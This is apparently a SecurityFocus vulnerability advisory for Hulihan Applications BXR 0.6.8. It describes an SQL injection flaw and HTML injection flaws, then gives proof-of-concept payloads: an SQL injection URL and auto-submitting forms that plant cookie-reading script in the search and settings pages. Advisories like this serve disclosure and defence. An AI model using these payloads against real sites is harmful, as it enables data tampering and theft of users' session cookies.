source: https://www.securityfocus.com/bid/42247/info
Hulihan Applications BXR is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to compromise the application, access or modify data,or exploit latent vulnerabilities in the underlying database or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed,and launch other attacks.
Hulihan Applications BXR 0.6.8is vulnerable; other versions may also be affected.
http://www.example.com/folder/list?order_by=filesize'+SQL
<form action="http://host/search/show_results" method="post" name="main"><inputtype="hidden" name="search_type" value="filename"/><inputtype="hidden" name="search[query]" value='1"><script>alert(document.cookie)</script>' /><inputtype="hidden" name="commit" value="Find!"/></form><script>
document.main.submit();</script>
mytagname"><script>alert(document.cookie)</script><form action="http://host/settings/update_settings" method="post" name="main"><inputtype="hidden" name="setting[site_title]" value='BXR File Management System"><script>alert(document.cookie)</script>' /><inputtype="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System"/><inputtype="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System."/><inputtype="hidden" name="setting[let_users_change_default_folder]" value="0"/><inputtype="hidden" name="setting[use_ferret]" value="0"/><inputtype="hidden" name="setting[overwrite_existing_files]" value="0"/><inputtype="hidden" name="commit" value="Update Settings"/></form><script>
document.main.submit();</script>